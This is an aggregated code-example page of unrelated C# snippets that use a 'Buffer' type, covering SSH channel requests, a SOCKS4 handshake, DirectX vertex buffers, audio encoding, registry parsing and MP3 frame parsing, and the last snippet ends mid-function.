Inheritance: MonoBehaviour
Exemplo n.º 1
0
        internal override void request(Session session, Channel channel)
        {
            base.request(session, channel);

            Buffer buf = new Buffer();
            Packet packet = new Packet(buf);

            // byte      SSH_MSG_CHANNEL_REQUEST(98)
            // uint32 recipient channel
            // string request type        // "x11-req"
            // bool want reply         // 0
            // bool   single connection
            // string    x11 authentication protocol // "MIT-MAGIC-COOKIE-1".
            // string    x11 authentication cookie
            // uint32    x11 screen number
            packet.reset();
            buf.putByte((byte)Session.SSH_MSG_CHANNEL_REQUEST);
            buf.putInt(channel.getRecipient());
            buf.putString("x11-req".getBytes());
            buf.putByte((byte)(waitForReply() ? 1 : 0));
            buf.putByte((byte)0);
            buf.putString("MIT-MAGIC-COOKIE-1".getBytes());
            buf.putString(ChannelX11.getFakedCookie(session));
            buf.putInt(0);
            write(packet);

            session.x11_forwarding = true;
        }
Exemplo n.º 2
0
 public void checkSendSize(Buffer buf, int messageSizeMax)
 {
     if(buf.size() > messageSizeMax)
     {
         Ex.throwMemoryLimitException(buf.size(), messageSizeMax);
     }
 }
Exemplo n.º 3
0
		protected override void Paragraph(Buffer ob, Buffer text)
		{
			ob.Put("\n");
			ob.Put(text);
			ob.Put("\n");
			ob.Put("\n");
		}
Exemplo n.º 4
0
        public override void Run()
        {
            m_thread = Thread.currentThread();
            Buffer buf = new Buffer(m_rmpsize);
            Packet packet = new Packet(buf);
            int i = 0;
            try
            {
                while (m_thread != null && m_io != null && m_io.m_ins != null)
                {
                    i = m_io.m_ins.Read(buf.m_buffer,
                        14,
                        buf.m_buffer.Length - 14
                        - 32 - 20 // padding and mac
                        );
                    if (i <= 0)
                    {
                        eof();
                        break;
                    }
                    packet.reset();
                    if (m_close)
                        break;
                    buf.putByte((byte)Session.SSH_MSG_CHANNEL_DATA);
                    buf.putInt(m_recipient);
                    buf.putInt(i);
                    buf.skip(i);
                    m_session.write(packet, this, i);
                }
            }
            catch (Exception)
            { }

            disconnect();
        }
Exemplo n.º 5
0
        public InputChannel(int channel)
        {
            Channel = channel;
            //Data = new List<double>();
            movingAverage = new AudioLib.TF.MovingAverage(1);
            Buffer = new Buffer(10000);

            Config = new InputChannelConfig(this);
            this.InputConfig.Name = "Ch " + channel;

            // Set up IChannel - GetValue
            Signals = new List<Signal>();
            Signals.Add(new Signal(this, VALUE_POWER, GetPowerMapped));
            Signals.Add(new Signal(this, VALUE_VALUE, GetValue));

            // Set up ITrigger
            TriggerEvent = new Event(this, TRIGGER_EVENT);
            DataEvent = new Event(this, TRIGGER_DATA);

            Events = new List<Event>();
            Events.Add(TriggerEvent);
            Events.Add(DataEvent);

            Brain.KB.Sources.AddSignalChannel(this);
            Brain.KB.Sources.AddTriggerChannel(this);
        }
Exemplo n.º 6
0
        public Sky(Device device, string filename, float skySphereRadius) {
            CubeMapSRV = ShaderResourceView.FromFile(device, filename);
            using (var r = CubeMapSRV.Resource) {
                r.DebugName = "sky cubemap";
            }
            
            var sphere = GeometryGenerator.CreateSphere(skySphereRadius, 30, 30);
            var vertices = sphere.Vertices.Select(v => v.Position).ToArray();
            var vbd = new BufferDescription(
                Marshal.SizeOf(typeof(Vector3)) * vertices.Length, 
                ResourceUsage.Immutable, 
                BindFlags.VertexBuffer, 
                CpuAccessFlags.None, 
                ResourceOptionFlags.None, 
                0
            );
            _vb = new Buffer(device, new DataStream(vertices, false, false), vbd);

            _indexCount = sphere.Indices.Count;
            var ibd = new BufferDescription(
                _indexCount * sizeof(int), 
                ResourceUsage.Immutable, 
                BindFlags.IndexBuffer, 
                CpuAccessFlags.None, 
                ResourceOptionFlags.None, 
                0
            );
            _ib = new Buffer(device, new DataStream(sphere.Indices.ToArray(), false, false), ibd);

        }
 public WaitPanelThread(Point origin, int delay, bool positiveAxis, bool horizontal, Panel panel, Plane plane, Semaphore semaphoreThis, Semaphore semaphoreNext, Semaphore semaphoreTerminal, Buffer bufferPrevious, Buffer bufferNext, Buffer bufferTerminal, int length, int terminalID)
 {
     this.origin = origin;
     this.delay = delay;
     this.positiveAxis = positiveAxis;
     this.panel = panel;
     this.plane = plane;
     this.panel.Paint += new PaintEventHandler(this.panel_Paint);
     if (horizontal)
     {
         this.xDelta = positiveAxis ? +10 : -10;
         this.yDelta = 0;
     }
     else
     {
         this.xDelta = 0;
         this.yDelta = positiveAxis ? +10 : -10;
     }
     this.semaphoreThis = semaphoreThis;
     this.semaphoreNext = semaphoreNext;
     this.semaphoreTerminal = semaphoreTerminal;
     this.bufferPrevious = bufferPrevious;
     this.bufferNext = bufferNext;
     this.bufferTerminal = bufferTerminal;
     this.length = length;
     this.terminalID = terminalID;
 }
Exemplo n.º 8
0
    private static int Main()
    {
        Buffer b1 = new Buffer("Abra-cadabra");
        int result = 0;

        if (b1.Peek() < 0)
        {
            result += 1;
        }

        b1.AdvanceToEnd();

        if (b1.Peek() < 0)
        {
            result += 2;
        }

        if (result == 2)
        {
            Console.WriteLine("====== PASSED ======");
            return 100;
        }
        else
        {
            Console.WriteLine("****** FAILED ******");
            return 101;
        }
    }
Exemplo n.º 9
0
 public IOProcessor(KeyProcessor kpr)
 {
     SetKPR(kpr);
     bf = new Buffer();
     log = new Log();
     cfg = new Config("MyInput\\");
 }
Exemplo n.º 10
0
 public void run()
 {
     Buffer buf=new Buffer(300); // ??
     Packet packet=new Packet(buf);
     thread=this;
     try
     {
         ss.Start();
         while(thread!=null)
         {
             Socket socket=ss.AcceptSocket();
             socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, 1);
             NetworkStream ns = new NetworkStream(socket);
             Stream ins= ns;
             Stream outs=ns;
             ChannelDirectTCPIP channel=new ChannelDirectTCPIP();
             channel.init();
             channel.setInputStream(ins);
             channel.setOutputStream(outs);
                 session.addChannel(channel);
             ((ChannelDirectTCPIP)channel).setHost(host);
             ((ChannelDirectTCPIP)channel).setPort(rport);
             ((ChannelDirectTCPIP)channel).setOrgIPAddress( ((IPEndPoint)socket.RemoteEndPoint).Address.ToString() );
             ((ChannelDirectTCPIP)channel).setOrgPort(((IPEndPoint)socket.RemoteEndPoint).Port);
             channel.connect();
             if(channel.exitstatus!=-1)
             {
             }
         }
     }
     catch
     {
         //System.out.println("! "+e);
     }
 }
Exemplo n.º 11
0
 public Buffer Next()
 {
     lock (obj)
     {
         if (next == null) return null;
         int size = next.Size();
         if (size < 13) return null;
         if (next.GetInt(0) != 0x42424344)
         {
             System.Console.WriteLine("Not reading a dirac stream");
             next = null;
             return null;
         }
         int offset = next.GetInt(5);
         if (offset == 0)
             offset = 13;
         if (offset > size) return null;
         if (prev != next.GetInt(9))
             throw new Exception();
         prev = offset;
         if (size == offset)
         {
             Buffer tmp = next;
             next = null;
             return tmp;
         }
         else
         {
             Buffer tmp = next.Sub(0, offset);
             next = next.Sub(offset);
             return tmp;
         }
     }
 }
Exemplo n.º 12
0
 public void Add(Buffer buf)
 {
     lock(obj)
     {
         next = (next == null ? buf : next.Cat(buf));
     }
 }
Exemplo n.º 13
0
        public void TestTransform()
        {
            BlockCipher cipher1 = new BlockCipher();
            BlockCipher cipher2 = new BlockCipher();

            byte[] bytes1 = cipher1.InitializeHandshake();
            byte[] bytes2 = cipher2.InitializeHandshake();
            bytes1 = cipher2.Handshake(bytes1);
            bytes2 = cipher1.Handshake(bytes2);
            cipher1.FinalizeHandshake(bytes1);
            cipher2.FinalizeHandshake(bytes2);

            Buffer buffer = new Buffer();

            string text = new String('x', 5300);
            Assert.AreEqual(5300, text.Length);
            /*
            buffer.Write(1);
            buffer.Write(text);
            buffer.Shrink(1);
            */

            cipher1.Transform(buffer, (int)buffer.Length);
            cipher2.InverseTransform(buffer, (int)buffer.Length);

            buffer.Rewind();

            /*
            string result;
            buffer.Read(out result);

            Assert.AreEqual(text, result);
            */
        }
Exemplo n.º 14
0
 public override void run()
 {
     //    thread=Thread.currentThread();
     Buffer buf=new Buffer();
     Packet packet=new Packet(buf);
     int i=0;
     try
     {
         while(isConnected() &&
             thread!=null &&
             io!=null &&
             io.ins!=null)
                        {
                            i=io.ins.Read(buf.buffer, 14, buf.buffer.Length-14);
                            if(i==0)continue;
                            if(i==-1)
                            {
                                eof();
                                break;
                            }
                            if(_close)break;
                            packet.reset();
                            buf.putByte((byte)Session.SSH_MSG_CHANNEL_DATA);
                            buf.putInt(recipient);
                            buf.putInt(i);
                            buf.skip(i);
                            session.write(packet, this, i);
                        }
     }
     catch//(Exception e)
     {
         //System.out.println("ChannelShell.run: "+e);
     }
     thread=null;
 }
Exemplo n.º 15
0
 public BufferNode(Dictionary<string, TreeNode> actors, Dictionary<string, TreeNode> quests, string clientHash)
 {
     this.Buffer = new Buffer(new byte[0]);
     this.actors = actors;
     this.quests = quests;
     this.clientHash = clientHash;
 }
Exemplo n.º 16
0
    void OnEnable()
    {
        if (mRequest == null)
        {
            mRequest = Buffer.Create();
            mRequest.BeginPacket(Packet.RequestServerList).Write(GameServer.gameID);
            mRequest.EndPacket();
        }

        if (mRemoteAddress == null)
        {
            if (string.IsNullOrEmpty(remoteAddress))
            {
                mRemoteAddress = new IPEndPoint(IPAddress.Broadcast, remotePort);
            }
            else
            {
                mRemoteAddress = Tools.ResolveEndPoint(remoteAddress, remotePort);
            }

            if (mRemoteAddress == null)
            {
                mUdp.Error(new IPEndPoint(IPAddress.Loopback, mUdp.listeningPort), "Invalid address: " + remoteAddress + ":" + remotePort);
            }
        }

        // Twice just in case the first try falls on a taken port
        if (!mUdp.Start(Tools.randomPort)) mUdp.Start(Tools.randomPort);
    }
Exemplo n.º 17
0
    static void Main()
    {
        var buffer = new Buffer { };

        var blinker = new Blinker { SourceBuffer = buffer };

        // PowerShell PS> Invoke-WebRequest -Uri "http://try.yaler.net/gsiot-8a3m-5w8t/blinkingPeriod/target" -Method Put -Body 100 -TimeoutSec 2
        var webServer = new HttpServer
        {
            RelayDomain = Parameters.RelayDomain,
            RelaySecretKey = Parameters.RelaySecretKey,
            RequestRouting =
            {
                {
                    "PUT /blinkingPeriod/target",
                    new ManipulatedVariable
                    {
                        FromHttpRequest =
                            CSharpRepresentation.TryDeserializeInt,
                        ToActuator = buffer.HandlePut
                    }.HandleRequest
                },
                {
                    "GET /blinkingPeriod/target.html",
                    HandleBlinkTargetHtml
                }
            }
        };

        var blinkerThread = new Thread(blinker.Run);
        blinkerThread.Start();
        webServer.Run();
    }
        public MeshContainer(Engine.Serialize.Mesh M)
        {
            if (M != null)
            {
                LocalAABBMax = M.AABBMax;
                LocalAABBMin = M.AABBMin;

                VertexsCount = M.VertexCount;
                FaceCount = M.FaceCount;
                BytesPerVertex = M.VertexData.Length / VertexsCount;

                using (var vertices = new DataStream(BytesPerVertex * VertexsCount, true, true))
                {
                    vertices.WriteRange<byte>(M.VertexData, 0, M.VertexData.Length);
                    vertices.Position = 0;
                    Vertexs = new Buffer(ModelViewer.Program.device, vertices, BytesPerVertex * VertexsCount, ResourceUsage.Default, BindFlags.VertexBuffer, CpuAccessFlags.None, ResourceOptionFlags.None, 0);
                    binding = new VertexBufferBinding(Vertexs, BytesPerVertex, 0);
                }

                using (var indices = new DataStream(4 * FaceCount * 3, true, true))
                {
                    indices.WriteRange<byte>(M.IndexData, 0, M.IndexData.Length);
                    indices.Position = 0;
                    Indices = new Buffer(ModelViewer.Program.device, indices, 4 * FaceCount * 3, ResourceUsage.Default, BindFlags.IndexBuffer, CpuAccessFlags.None, ResourceOptionFlags.None, 0);
                }
            }
        }
Exemplo n.º 19
0
        protected override void OnResourceLoad()
        {
            using (Texture2D texture = Texture2D.FromSwapChain<Texture2D>(Context10.SwapChain, 0))
            {
                renderTargetView = new RenderTargetView(Context10.Device, texture);
            }

            effect = Effect.FromFile(Context10.Device, "SimpleTriangle10.fx", "fx_4_0");
            technique = effect.GetTechniqueByIndex(0);
            pass = technique.GetPassByIndex(0);

            ShaderSignature signature = pass.Description.Signature;
            inputLayout = new InputLayout(Context10.Device, signature, new[] {
				new InputElement("POSITION", 0, SlimDX.DXGI.Format.R32G32B32A32_Float, 0, 0),
				new InputElement("COLOR", 0, SlimDX.DXGI.Format.R32G32B32A32_Float, 16, 0) 
			});

            vertexBuffer = new Buffer(
                    Context10.Device,
                    3 * 32,
                    ResourceUsage.Dynamic,
                    BindFlags.VertexBuffer,
                    CpuAccessFlags.Write,
                    ResourceOptionFlags.None
            );

            DataStream stream = vertexBuffer.Map(MapMode.WriteDiscard, MapFlags.None);
            stream.WriteRange(new[] {
				new Vector4(0.0f, 0.5f, 0.5f, 1.0f), new Vector4(1.0f, 0.0f, 0.0f, 1.0f),
				new Vector4(0.5f, -0.5f, 0.5f, 1.0f), new Vector4(0.0f, 1.0f, 0.0f, 1.0f),
				new Vector4(-0.5f, -0.5f, 0.5f, 1.0f), new Vector4(0.0f, 0.0f, 1.0f, 1.0f)
			});
            vertexBuffer.Unmap();
        }
        public FilterPixelShader(Device device, int imageWidth, int imageHeight, int constantBufferSize, string pixelShaderBytecodeFilename)
        {
            vertexShader = new VertexShader(device, new ShaderBytecode(File.ReadAllBytes("Content/FullScreenQuadVS.cso")));
            pixelShader = new PixelShader(device, new ShaderBytecode(File.ReadAllBytes(pixelShaderBytecodeFilename)));

            var rasterizerStateDesc = new RasterizerStateDescription()
            {
                CullMode = CullMode.None, 
                FillMode = FillMode.Solid,
                IsDepthClipEnabled = false,
                IsFrontCounterClockwise = true,
                IsMultisampleEnabled = false,
            };
            rasterizerState = new RasterizerState(device, rasterizerStateDesc);

            if (constantBufferSize > 0)
            {
                var constantBufferDesc = new BufferDescription()
                {
                    Usage = ResourceUsage.Dynamic,
                    BindFlags = BindFlags.ConstantBuffer,
                    SizeInBytes = constantBufferSize,
                    CpuAccessFlags = CpuAccessFlags.Write,
                    StructureByteStride = 0,
                    OptionFlags = 0,
                };
                constantBuffer = new Buffer(device, constantBufferDesc);
            }

            viewport = new Viewport(0, 0, imageWidth, imageHeight); // TODO: get these dimensions
            vertexBufferBinding = new VertexBufferBinding(null, 0, 0);
        }
Exemplo n.º 21
0
        public QuadBuffers(Device device) {
            VertexBuffer = new Buffer(
                    device,
                    new DataStream(new[] {
                        new InputLayouts.VerticePT(new Vector3(-1, -1, 0.999f), new Vector2(0, 1)),
                        new InputLayouts.VerticePT(new Vector3(-1, 1, 0.999f), new Vector2(0, 0)),
                        new InputLayouts.VerticePT(new Vector3(1, 1, 0.999f), new Vector2(1, 0)),
                        new InputLayouts.VerticePT(new Vector3(1, -1, 0.999f), new Vector2(1, 1))
                    }, false, false),
                    new BufferDescription(
                            InputLayouts.VerticePT.StrideValue * 4,
                            ResourceUsage.Immutable,
                            BindFlags.VertexBuffer,
                            CpuAccessFlags.None,
                            ResourceOptionFlags.None,
                            0));

            IndexBuffer = new Buffer(
                    device,
                    new DataStream(new ushort[] { 0, 1, 2, 0, 2, 3 }, false, false),
                    new BufferDescription(
                            sizeof(short) * 6,
                            ResourceUsage.Immutable,
                            BindFlags.IndexBuffer,
                            CpuAccessFlags.None,
                            ResourceOptionFlags.None,
                            0));

            VertexBinding = new VertexBufferBinding(VertexBuffer, InputLayouts.VerticePT.StrideValue, 0);
        }
Exemplo n.º 22
0
        public void beginWrite(EndPoint endpoint, Buffer buf)
        {
            if(!(endpoint is IPEndPoint))
            {
                throw new Ice.FeatureNotSupportedException("SOCKS4 does not support domain names");
            }
            else if(endpoint.AddressFamily != AddressFamily.InterNetwork)
            {
                throw new Ice.FeatureNotSupportedException("SOCKS4 only supports IPv4 addresses");
            }

            //
            // SOCKS connect request
            //
            IPEndPoint addr = (IPEndPoint)endpoint;
            buf.resize(9, false);
            ByteBuffer.ByteOrder order = buf.b.order();
            buf.b.order(ByteBuffer.ByteOrder.BIG_ENDIAN); // Network byte order.
            buf.b.position(0);
            buf.b.put(0x04); // SOCKS version 4.
            buf.b.put(0x01); // Command, establish a TCP/IP stream connection
            buf.b.putShort((short)addr.Port); // Port
            buf.b.put(addr.Address.GetAddressBytes()); // IPv4 address
            buf.b.put(0x00); // User ID.
            buf.b.position(0);
            buf.b.limit(buf.size());
            buf.b.order(order);
        }
Exemplo n.º 23
0
 /////////////////////////////////////////////有效時間性Buffer////////////////////////////////////////////////////////
 /// <summary>
 /// 腳色取得Buffer,傳入Buffer
 /// </summary>
 public virtual void ReceiveBuffer(Buffer _buffer)
 {
     if (BufferDic == null)
     {
         Debug.LogWarning("BufferDic為null");
         return;
     }
     //尚未擁有此BufferID
     if (!BufferDic.ContainsKey(_buffer.ID))
     {
         Go_BufferEntity = Instantiate(Prefab_BufferEntity, Vector2.zero, Quaternion.identity) as GameObject;
         Go_BufferEntity.transform.parent = Trans_BufferList;
         Com_BufferEntity = Go_BufferEntity.GetComponent<BufferEntity>();
         Com_BufferEntity.IniBuffer(_buffer, this);
         List<BufferEntity> TmpBufferEntityList = new List<BufferEntity>();
         TmpBufferEntityList.Add(Com_BufferEntity);
         BufferDic.Add(_buffer.ID, TmpBufferEntityList);//加入BufferDIc字典
     }
     else//已經擁有此BufferID
     {
         //如果此狀態是可疊加的
         if (_buffer.Stackable)
         {
             Go_BufferEntity = Instantiate(Prefab_BufferEntity, Vector2.zero, Quaternion.identity) as GameObject;
             Go_BufferEntity.transform.parent = Trans_BufferList;
             Com_BufferEntity = Go_BufferEntity.GetComponent<BufferEntity>();
             Com_BufferEntity.IniBuffer(_buffer, this);
             BufferDic[_buffer.ID].Add(Com_BufferEntity);
         }
         else//如果此狀態不可疊加
         {
             BufferDic[_buffer.ID][0].IniBuffer(_buffer, this);
         }
     }
 }
Exemplo n.º 24
0
        /// <summary>
        /// Creates a fake <see cref="Buffer" /> that will have the given serialized data version.
        /// </summary>
        /// <param name="bufferData">The buffer data.</param>
        /// <returns></returns>
        public static Buffer ToSerializableVersion(this BufferData bufferData)
        {
            var buffer = new Buffer();
            buffer.SetSerializationData(bufferData);

            return buffer;
        }
Exemplo n.º 25
0
        internal UnloadedBlock(Buffer raw, DirectivesBlock directives)
            : base(BlockCode.Unloaded)
        {
            kind = raw.ReadByte ();
            start_counter = raw.ReadUlong ();
            end_counter = raw.ReadUlong ();
            thread_id = raw.ReadUlong ();
            if (directives.LoadedElementsCarryId)
                id = raw.ReadUint ();
            item_name = raw.ReadString ();

            switch ((LoadedItemInfo) kind) {
            case LoadedItemInfo.APPDOMAIN:
                is_appdomain = true;
                break;
            case LoadedItemInfo.MODULE:
                is_module = true;
                break;
            case LoadedItemInfo.ASSEMBLY:
                is_assembly = true;
                break;
            default:
                throw new Exception (String.Format ("unknown load event kind {0}", kind));
            }
            if (!raw.IsEmpty)
                throw new Exception ("Unexpected data remaining in block");
        }
Exemplo n.º 26
0
        public void request(Session session, Channel channel)
        {
            Buffer buf = new Buffer();
            Packet packet = new Packet(buf);

            bool reply = waitForReply();
            if (reply)
            {
                channel.Replay = -1;
            }

            packet.reset();
            buf.putByte((byte)Session.SSH_MSG_CHANNEL_REQUEST);
            buf.putInt(channel.Recipient);
            buf.putString(Util.getBytes("subsystem"));
            buf.putByte((byte)(waitForReply() ? 1 : 0));
            buf.putString(Util.getBytes("sftp"));
            session.write(packet);

            if (reply)
            {
                while (channel.Replay == -1)
                {
                    try { System.Threading.Thread.Sleep(10); }
                    catch//(Exception ee)
                    {
                    }
                }
                if (channel.Replay == 0)
                {
                    throw new JSchException("failed to send sftp request");
                }
            }
        }
Exemplo n.º 27
0
        internal void Clear()
        {
            m_deviceContext.ClearState();

            m_inputLayout = null;
            m_primitiveTopology = PrimitiveTopology.Undefined;
            m_indexBufferRef = null;
            m_indexBufferFormat = 0;
            m_indexBufferOffset = 0;
            for (int i = 0; i < m_vertexBuffers.Length; i++)
                m_vertexBuffers[i] = null;
            for (int i = 0; i < m_vertexBuffersStrides.Length; i++)
                m_vertexBuffersStrides[i] = 0;

            m_blendState = null;
            m_stencilRef = 0;
            m_depthStencilState = null;
            m_rtvsCount = 0;
            for (int i = 0; i < m_rtvs.Length; i++)
                m_rtvs[i] = null;
            m_dsv = null;

            m_rasterizerState = null;
            m_scissorLeftTop = new Vector2I(-1, -1);
            m_scissorRightBottom = new Vector2I(-1, -1);
            m_viewport = default(RawViewportF);

            m_targetBuffer = null;
            m_targetOffsets = 0;

            m_statistics.ClearStates++;
        }
Exemplo n.º 28
0
 //private ConditionalWeakTable<string, SyntaxNode> _triviaCache = new ConditionalWeakTable<string, SyntaxNode>();
 public Scanner(Buffer buffer)
 {
     this.buffer = buffer;
     this._bufferLen = buffer.Length;
     _sbPooled = PooledStringBuilder.GetInstance();
     _sb = _sbPooled.Builder;
 }
Exemplo n.º 29
0
        public int InverseTransform(Buffer buffer, int length)
        {
            Log.Trace("Cipher.InverseTransform: input length {0}", length);

            int result;
            using (var ms = new MemoryStream(length))
            {
                var decryptor = algorithm.CreateDecryptor(key, iv);
                using (var cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Write))
                {
                    var buffers = new List<ArraySegment<byte>>();
                    buffer.ListStartingSegments(buffers, length);

                    for (var i = 0; i < buffers.Count; ++i)
                    {
                        var segment = buffers[i];

                        Log.Trace("Cipher.InverseTransform: input block {0}",
                            BitConverter.ToString(segment.Array, segment.Offset, segment.Count));

                        cs.Write(segment.Array, segment.Offset, segment.Count);
                    }
                    cs.FlushFinalBlock();

                    result = (int)ms.Length;
                }

                buffer.Rewind();
                buffer.CopyFrom(ms.GetBuffer(), 0, result);

                Log.Trace("Cipher.InverseTransform: output {0} {1}",
                    result, BitConverter.ToString(ms.GetBuffer(), 0, result));
            }
            return result;
        }
Exemplo n.º 30
0
 public void Blit(Buffer src, int srcX, int srcY, int width, int height, int dstX, int dstY)
 {
     var attribs = new int[] {
         (int)BlitAttribute.SCREEN_BLIT_SOURCE_X,
         srcX,
         (int)BlitAttribute.SCREEN_BLIT_SOURCE_Y,
         srcY,
         (int)BlitAttribute.SCREEN_BLIT_SOURCE_WIDTH,
         width,
         (int)BlitAttribute.SCREEN_BLIT_SOURCE_HEIGHT,
         height,
         (int)BlitAttribute.SCREEN_BLIT_DESTINATION_X,
         dstX,
         (int)BlitAttribute.SCREEN_BLIT_DESTINATION_Y,
         dstY,
         (int)BlitAttribute.SCREEN_BLIT_DESTINATION_WIDTH,
         width,
         (int)BlitAttribute.SCREEN_BLIT_DESTINATION_HEIGHT,
         height,
         (int)BlitAttribute.SCREEN_BLIT_END
     };
     if (screen_blit (context.Handle, buffer, src.buffer, attribs) != 0) {
         throw new Exception ("Error blitting.");
     }
 }
Exemplo n.º 31
0
 private void ExpectMultiByteValueDefinition(char c)
 {
     if (c == ',')
     {
     }
     else if (c == '\\')
     {
         ParserState = ExpectNewlineFollowedByMultiByteValueDefinition;
     }
     else if ((c == ' ') || (c == '\t'))
     {
     }
     else if( c == '\r' )
     {
         try
         {
             CurrentValue.SetBinaryType(CurrentDataKind, CreateByteArrayFromString(Buffer.ToString()));
         }
         catch(Exception e)
         {
             Console.WriteLine("Hint: closest section is named [{0}]", CurrentKey.Path);
             throw e;
         }
         ParserState = ExpectNewline;
     }
     else if (c == '\n')
     {
         throw SyntaxError("Got \\n without \\r - registry file is not properly encoded");
     }
     else
     {
         Buffer.Append(c);
     }
 }
Exemplo n.º 32
0
 private void ExpectQuotedCharInStringValueDefinition(char c)
 {
     Buffer.Append(c);
     ParserState = ExpectStringValueDefinition;
 }
Exemplo n.º 33
0
 private void DecodeCurrentVariableDefinedHexValue()
 {
     CurrentValue.SetEscapedIntValue(Buffer.ToString());
     ParserState = ExpectNewline;
     Buffer.Clear();
 }
Exemplo n.º 34
0
        //Stopwatch _stopwatch = new Stopwatch();
        private void _waveIn_DataAvailable(object sender, WaveInEventArgs e)
        {
            // if(_stopwatch.ElapsedMilliseconds > 22)
            //Console.WriteLine($"Time: {_stopwatch.ElapsedMilliseconds} - Bytes: {e.BytesRecorded}");
            // _stopwatch.Restart();

            short[] pcmShort = null;

            if ((e.BytesRecorded / 2 == SEGMENT_FRAMES) && (_micInputQueue.Count == 0))
            {
                //perfect!
                pcmShort = new short[SEGMENT_FRAMES];
                Buffer.BlockCopy(e.Buffer, 0, pcmShort, 0, e.BytesRecorded);
            }
            else
            {
                for (var i = 0; i < e.BytesRecorded; i++)
                {
                    _micInputQueue.Enqueue(e.Buffer[i]);
                }
            }

            //read out the queue
            while ((pcmShort != null) || (_micInputQueue.Count >= AudioManager.SEGMENT_FRAMES))
            {
                //null sound buffer so read from the queue
                if (pcmShort == null)
                {
                    pcmShort = new short[AudioManager.SEGMENT_FRAMES];

                    for (var i = 0; i < AudioManager.SEGMENT_FRAMES; i++)
                    {
                        pcmShort[i] = _micInputQueue.Dequeue();
                    }
                }

                //null sound buffer so read from the queue
                if (pcmShort == null)
                {
                    pcmShort = new short[AudioManager.SEGMENT_FRAMES];

                    for (var i = 0; i < AudioManager.SEGMENT_FRAMES; i++)
                    {
                        pcmShort[i] = _micInputQueue.Dequeue();
                    }
                }

                try
                {
                    //volume boost pre
                    for (var i = 0; i < pcmShort.Length; i++)
                    {
                        // n.b. no clipping test going on here
                        pcmShort[i] = (short)(pcmShort[i] * MicBoost);
                    }

                    //process with Speex
                    _speex.Process(new ArraySegment <short>(pcmShort));

                    float max = 0;
                    for (var i = 0; i < pcmShort.Length; i++)
                    {
                        //determine peak
                        if (pcmShort[i] > max)
                        {
                            max = pcmShort[i];
                        }
                    }
                    //convert to dB
                    MicMax = (float)VolumeConversionHelper.ConvertFloatToDB(max / 32768F);

                    var pcmBytes = new byte[pcmShort.Length * 2];
                    Buffer.BlockCopy(pcmShort, 0, pcmBytes, 0, pcmBytes.Length);

                    //encode as opus bytes
                    int len;
                    var buff = _encoder.Encode(pcmBytes, pcmBytes.Length, out len);

                    if ((_udpVoiceHandler != null) && (buff != null) && (len > 0))
                    {
                        //create copy with small buffer
                        var encoded = new byte[len];

                        Buffer.BlockCopy(buff, 0, encoded, 0, len);

                        // Console.WriteLine("Sending: " + e.BytesRecorded);
                        if (_udpVoiceHandler.Send(encoded, len))
                        {
                            //send audio so play over local too
                            _micWaveOutBuffer?.AddSamples(pcmBytes, 0, pcmBytes.Length);
                        }
                    }
                    else
                    {
                        Logger.Error($"Invalid Bytes for Encoding - {e.BytesRecorded} should be {SEGMENT_FRAMES} ");
                    }

                    _errorCount = 0;
                }
                catch (Exception ex)
                {
                    _errorCount++;
                    if (_errorCount < 10)
                    {
                        Logger.Error(ex, "Error encoding Opus! " + ex.Message);
                    }
                    else if (_errorCount == 10)
                    {
                        Logger.Error(ex, "Final Log of Error encoding Opus! " + ex.Message);
                    }
                }

                pcmShort = null;
            }
        }
Exemplo n.º 35
0
        FrameBase FindNextFrame()
        {
            // if we've found the end, don't bother looking for anything else
            if (_endFound)
            {
                return(null);
            }

            var freeFrame      = _lastFree;
            var lastFrameStart = _readOffset;

            lock (_frameLock)
            {
                // read 3 bytes
                var syncBuf = new byte[4];
                try
                {
                    if (Read(_readOffset, syncBuf, 0, 4) == 4)
                    {
                        // now loop until a frame is found
                        do
                        {
                            var sync = (uint)(syncBuf[0] << 24 | syncBuf[1] << 16 | syncBuf[2] << 8 | syncBuf[3]);

                            lastFrameStart = _readOffset;

                            // try ID3 first (for v2 frames)
                            if (_id3Frame == null)
                            {
                                var f = ID3Frame.TrySync(sync);
                                if (f != null)
                                {
                                    if (f.Validate(_readOffset, this))
                                    {
                                        if (!_canSeek)
                                        {
                                            f.SaveBuffer();
                                        }

                                        _readOffset += f.Length;
                                        DiscardThrough(_readOffset, true);

                                        return(_id3Frame = f);
                                    }
                                }
                            }

                            // now look for a RIFF header
                            if (_first == null && _riffHeaderFrame == null)
                            {
                                var f = RiffHeaderFrame.TrySync(sync);
                                if (f != null)
                                {
                                    if (f.Validate(_readOffset, this))
                                    {
                                        _readOffset += f.Length;
                                        DiscardThrough(_readOffset, true);

                                        return(_riffHeaderFrame = f);
                                    }
                                }
                            }

                            // finally, just try for an MPEG frame
                            var frame = MpegFrame.TrySync(sync);
                            if (frame != null)
                            {
                                if (frame.Validate(_readOffset, this) &&
                                    !(freeFrame != null &&
                                      (frame.Layer != freeFrame.Layer ||
                                       frame.Version != freeFrame.Version ||
                                       frame.SampleRate != freeFrame.SampleRate ||
                                       frame.BitRateIndex > 0
                                      )
                                      )
                                    )
                                {
                                    if (!_canSeek)
                                    {
                                        frame.SaveBuffer();
                                        DiscardThrough(_readOffset + frame.FrameLength, true);
                                    }

                                    _readOffset += frame.FrameLength;

                                    if (_first == null)
                                    {
                                        if (_vbrInfo == null && (_vbrInfo = frame.ParseVBR()) != null)
                                        {
                                            return(FindNextFrame());
                                        }
                                        else
                                        {
                                            frame.Number = 0;
                                            _first       = _last = frame;
                                        }
                                    }
                                    else
                                    {
                                        if (frame.SampleCount != _first.SampleCount)
                                        {
                                            _mixedFrameSize = true;
                                        }

                                        frame.SampleOffset = _last.SampleCount + _last.SampleOffset;
                                        frame.Number       = _last.Number + 1;
                                        _last = (_last.Next = frame);
                                    }

                                    if (frame.BitRateIndex == 0)
                                    {
                                        _lastFree = frame;
                                    }

                                    return(frame);
                                }
                            }

                            // if we've read MPEG frames and can't figure out what frame type we have, try looking for a new ID3 tag
                            if (_last != null)
                            {
                                var f = ID3Frame.TrySync(sync);
                                if (f != null)
                                {
                                    if (f.Validate(_readOffset, this))
                                    {
                                        if (!_canSeek)
                                        {
                                            f.SaveBuffer();
                                        }

                                        // if it's a v1 tag, go ahead and parse it
                                        if (f.Version == 1)
                                        {
                                            _id3v1Frame = f;
                                        }
                                        else
                                        {
                                            // grrr...  the ID3 2.4 spec says tags can be anywhere in the file and that later tags can override earlier ones...  boo
                                            _id3Frame.Merge(f);
                                        }

                                        _readOffset += f.Length;
                                        DiscardThrough(_readOffset, true);

                                        return(f);
                                    }
                                }
                            }

                            // well, we didn't find anything, so rinse and repeat with the next byte
